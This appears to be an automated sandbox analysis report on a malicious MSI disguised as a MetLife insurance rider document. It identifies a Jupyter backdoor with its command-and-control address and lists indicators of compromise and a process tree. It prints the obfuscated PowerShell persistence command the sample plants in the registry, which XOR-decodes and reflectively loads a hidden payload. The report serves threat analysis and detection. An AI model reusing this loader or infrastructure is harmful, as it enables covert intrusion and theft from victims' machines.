Analysis
-
max time kernel
136s -
max time network
145s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
16/09/2021, 08:39
Static task
static1
Behavioral task
behavioral1
Sample
Metlife-Disability-Waiver-Of-Premium-Benefit-Rider.msi
Resource
win7-en
windows7_x64
0 signatures
0 seconds
General
Malware Config
Extracted
Family
jupyter
Version
SP-11
C2
http://37.120.237.251
Signatures
-
Jupyter Backdoor/Client Payload 1 IoCs
resource yara_rule behavioral2/memory/64-3214-0x0000000009790000-0x000000000979A000-memory.dmp family_jupyter -
Blocklisted process makes network request 3 IoCs
flow pid Process 2 568 msiexec.exe 4 568 msiexec.exe 13 64 powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 3168 MSI7DB2.tmp 372 MSI7DB2.tmp -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\miCroSoFt\WINDOwS\stARt MENU\PRogrAMs\staRtuP\aad8174b5ff4d3bc9e9443812d0b0.lnK powershell.exe -
Loads dropped DLL 12 IoCs
pid Process 2972 MsiExec.exe 2972 MsiExec.exe 372 MSI7DB2.tmp 372 MSI7DB2.tmp 372 MSI7DB2.tmp 372 MSI7DB2.tmp 372 MSI7DB2.tmp 372 MSI7DB2.tmp 372 MSI7DB2.tmp 372 MSI7DB2.tmp 372 MSI7DB2.tmp 372 MSI7DB2.tmp -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe -
Modifies registry class 7 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\pbncklnqks\shell\open\command powershell.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\pbncklnqks powershell.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\pbncklnqks\shell powershell.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\pbncklnqks\shell\open powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\pbncklnqks\shell\open\command\ = "PoWERShEll -WiNdOwstyLe hiDDeN -eP BYPAss -coMMAND \"$a90dc61b8874eb94f196887b5dc01='XjFpcn5Ae2d5Zj40fmlLbll4aGtrQXJ+bG5WK29qeHNTQipxTCEyTGxEdnJXeDNyYDJzRjtaR2srLXcta0QtaDZnfWxHPnhgd0lkaUhyQFZrPD5AdVkmZl4xaHB8QGB7U0JeTXRDYl5PVXhzQHxDYFdAUyY4dV5Qc2JYXm50bXdAdTA0Z0B7cHMwQHxCNX5eUWZWKl5vNjlEQH55Z3FAU2NJSF4wY3t3';$aacf08db5c6491ba0455a2adeca33=[SySteM.Io.FiLE]::ReadALlBYTES('C:\\Users\\Admin\\AppData\\Roaming\\MIcROsOFT\\JzunQDpLwjfvZGPY\\UoYLDiSNdXQ.RePhxbJXNEYnkvmQ');fOR($a08fc4b3ab14b7a8dd0ccecc1a86a=0;$a08fc4b3ab14b7a8dd0ccecc1a86a -lT $aacf08db5c6491ba0455a2adeca33.COuNt;){foR($a642b630ebc413bd3c2e23e8fd42d=0;$a642b630ebc413bd3c2e23e8fd42d -lT $a90dc61b8874eb94f196887b5dc01.lEngth;$a642b630ebc413bd3c2e23e8fd42d++){$aacf08db5c6491ba0455a2adeca33[$a08fc4b3ab14b7a8dd0ccecc1a86a]=$aacf08db5c6491ba0455a2adeca33[$a08fc4b3ab14b7a8dd0ccecc1a86a] -bxOR $a90dc61b8874eb94f196887b5dc01[$a642b630ebc413bd3c2e23e8fd42d];$a08fc4b3ab14b7a8dd0ccecc1a86a++;if($a08fc4b3ab14b7a8dd0ccecc1a86a -GE $aacf08db5c6491ba0455a2adeca33.coUNT){$a642b630ebc413bd3c2e23e8fd42d=$a90dc61b8874eb94f196887b5dc01.LENgTh}}};[sYstEm.reFleCTion.ASSEmBLY]::loaD($aacf08db5c6491ba0455a2adeca33);[maRS.deIMOS]::InTerACt()\"" powershell.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\.etbinxrvln powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\.etbinxrvln\ = "pbncklnqks" powershell.exe -
Suspicious behavior: EnumeratesProcesses 33 IoCs
pid Process 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 568 msiexec.exe Token: SeIncreaseQuotaPrivilege 568 msiexec.exe Token: SeSecurityPrivilege 3572 msiexec.exe Token: SeCreateTokenPrivilege 568 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 568 msiexec.exe Token: SeLockMemoryPrivilege 568 msiexec.exe Token: SeIncreaseQuotaPrivilege 568 msiexec.exe Token: SeMachineAccountPrivilege 568 msiexec.exe Token: SeTcbPrivilege 568 msiexec.exe Token: SeSecurityPrivilege 568 msiexec.exe Token: SeTakeOwnershipPrivilege 568 msiexec.exe Token: SeLoadDriverPrivilege 568 msiexec.exe Token: SeSystemProfilePrivilege 568 msiexec.exe Token: SeSystemtimePrivilege 568 msiexec.exe Token: SeProfSingleProcessPrivilege 568 msiexec.exe Token: SeIncBasePriorityPrivilege 568 msiexec.exe Token: SeCreatePagefilePrivilege 568 msiexec.exe Token: SeCreatePermanentPrivilege 568 msiexec.exe Token: SeBackupPrivilege 568 msiexec.exe Token: SeRestorePrivilege 568 msiexec.exe Token: SeShutdownPrivilege 568 msiexec.exe Token: SeDebugPrivilege 568 msiexec.exe Token: SeAuditPrivilege 568 msiexec.exe Token: SeSystemEnvironmentPrivilege 568 msiexec.exe Token: SeChangeNotifyPrivilege 568 msiexec.exe Token: SeRemoteShutdownPrivilege 568 msiexec.exe Token: SeUndockPrivilege 568 msiexec.exe Token: SeSyncAgentPrivilege 568 msiexec.exe Token: SeEnableDelegationPrivilege 568 msiexec.exe Token: SeManageVolumePrivilege 568 msiexec.exe Token: SeImpersonatePrivilege 568 msiexec.exe Token: SeCreateGlobalPrivilege 568 msiexec.exe Token: SeCreateTokenPrivilege 568 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 568 msiexec.exe Token: SeLockMemoryPrivilege 568 msiexec.exe Token: SeIncreaseQuotaPrivilege 568 msiexec.exe Token: SeMachineAccountPrivilege 568 msiexec.exe Token: SeTcbPrivilege 568 msiexec.exe Token: SeSecurityPrivilege 568 msiexec.exe Token: SeTakeOwnershipPrivilege 568 msiexec.exe Token: SeLoadDriverPrivilege 568 msiexec.exe Token: SeSystemProfilePrivilege 568 msiexec.exe Token: SeSystemtimePrivilege 568 msiexec.exe Token: SeProfSingleProcessPrivilege 568 msiexec.exe Token: SeIncBasePriorityPrivilege 568 msiexec.exe Token: SeCreatePagefilePrivilege 568 msiexec.exe Token: SeCreatePermanentPrivilege 568 msiexec.exe Token: SeBackupPrivilege 568 msiexec.exe Token: SeRestorePrivilege 568 msiexec.exe Token: SeShutdownPrivilege 568 msiexec.exe Token: SeDebugPrivilege 568 msiexec.exe Token: SeAuditPrivilege 568 msiexec.exe Token: SeSystemEnvironmentPrivilege 568 msiexec.exe Token: SeChangeNotifyPrivilege 568 msiexec.exe Token: SeRemoteShutdownPrivilege 568 msiexec.exe Token: SeUndockPrivilege 568 msiexec.exe Token: SeSyncAgentPrivilege 568 msiexec.exe Token: SeEnableDelegationPrivilege 568 msiexec.exe Token: SeManageVolumePrivilege 568 msiexec.exe Token: SeImpersonatePrivilege 568 msiexec.exe Token: SeCreateGlobalPrivilege 568 msiexec.exe Token: SeCreateTokenPrivilege 568 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 568 msiexec.exe Token: SeLockMemoryPrivilege 568 msiexec.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 568 msiexec.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3572 wrote to memory of 2972 3572 msiexec.exe 70 PID 3572 wrote to memory of 2972 3572 msiexec.exe 70 PID 3572 wrote to memory of 2972 3572 msiexec.exe 70 PID 568 wrote to memory of 3168 568 msiexec.exe 71 PID 568 wrote to memory of 3168 568 msiexec.exe 71 PID 568 wrote to memory of 3168 568 msiexec.exe 71 PID 2972 wrote to memory of 64 2972 MsiExec.exe 72 PID 2972 wrote to memory of 64 2972 MsiExec.exe 72 PID 2972 wrote to memory of 64 2972 MsiExec.exe 72 PID 3168 wrote to memory of 372 3168 MSI7DB2.tmp 74 PID 3168 wrote to memory of 372 3168 MSI7DB2.tmp 74 PID 3168 wrote to memory of 372 3168 MSI7DB2.tmp 74
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Metlife-Disability-Waiver-Of-Premium-Benefit-Rider.msi1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:568 -
C:\Users\Admin\AppData\Local\Temp\MSI7DB2.tmp"C:\Users\Admin\AppData\Local\Temp\MSI7DB2.tmp"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3168 -
C:\Windows\Temp\{6727432A-0540-4874-A12F-7D896F79E505}\.cr\MSI7DB2.tmp"C:\Windows\Temp\{6727432A-0540-4874-A12F-7D896F79E505}\.cr\MSI7DB2.tmp" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\MSI7DB2.tmp" -burn.filehandle.attached=524 -burn.filehandle.self=5323⤵
- Executes dropped EXE
- Loads dropped DLL
PID:372
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3572 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6D51198FFA889AEE833D8ABABA39C830 C2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2972 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe-NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss7E12.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi7DE0.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr7DE1.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr7DE2.txt" -propSep " :<->: " -testPrefix "_testValue."3⤵
- Blocklisted process makes network request
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:64
-
-